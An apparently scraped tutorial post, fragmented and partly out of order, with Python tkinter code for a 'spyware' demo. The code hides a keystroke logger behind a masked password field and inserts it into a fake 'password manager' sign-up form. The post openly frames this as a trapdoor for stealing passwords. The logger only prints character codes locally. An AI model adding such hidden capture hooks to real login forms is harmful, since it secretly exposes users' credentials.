30
loading...
This website collects cookies to deliver better user experience
storepassword()
function. But today how about making a secret trapdoor available for hackers to steal the passwords😈e1.bind("<Key>",keypress)
Whenever any key is pressed, then the function 'keypress' is executed.from tkinter import *
spy=Tk()
spy.geometry("300x200")
spy.title("spyware")
def keypress(event):
try:
print(ord(event.char),end=".")
except: # for blank press
pass
e1=Entry(spy,show='*')
e1.focus_set()
e1.bind("<Key>",keypress)
# mind the case of 'key'- k must be K
e1.pack()
spy.mainloop()
The code is wrapped in try-except to prevent blank key presses, which results in errors like
Exception in Tkinter callback
Traceback (most recent call last):
File "C:\Users\aatma\AppData\Local\Programs\Python\Python310\lib\tkinter\__init__.py", line 1884, in __call__
return self.func(*args)
File "C:/Users/aatma/AppData/Local/Programs/Python/Python310/spy.py", line 6, in keypress
print(ord(event.char),end=".")
TypeError: ord() expected a character, but string of length 0 found
import tkinter as tk # import the Tkinter module
form=tk.Tk() # create the blank window.
form.title("password manager") # set the title as password manager
form.geometry('400x200') # set the default geometry of the window.
TB1=tk.Entry(form, width = 20)
# make an entry widget with 20 spaces for the username
TB2=tk.Entry(form,show="*", width = 20)
def keypress(event):
try:
print(ord(event.char),end=".")
except: # for blank press
pass
TB2.bind("<Key>",keypress)
# entry widget for password and hide the keys whenever pressed.
# TB1 is for username, TB2 is for password
TB1.pack()
TB2.pack()
# pack the widgets into 'form'
label=tk.Label(form,text="")
# make a label to display the username
def show(): #function to be executed once the button is pressed.
a=TB1.get() # get username
b=TB2.get() # get password
if(a!="" and b!=""):
label.config(text="Welcome "+a+" to python GUI",fg="Green") # display the label
storepassword(a,b) # store password and username
else:
label.config(text="Please enter a valid username and password.",fg="Red") # blank screens
def storepassword(username, password):
#//Some mechanism to store password//
pass #stubbed
button=tk.Button(form,text="Sign Up", command=show) # setup the button
button.pack()
label.pack()
form.mainloop()
show()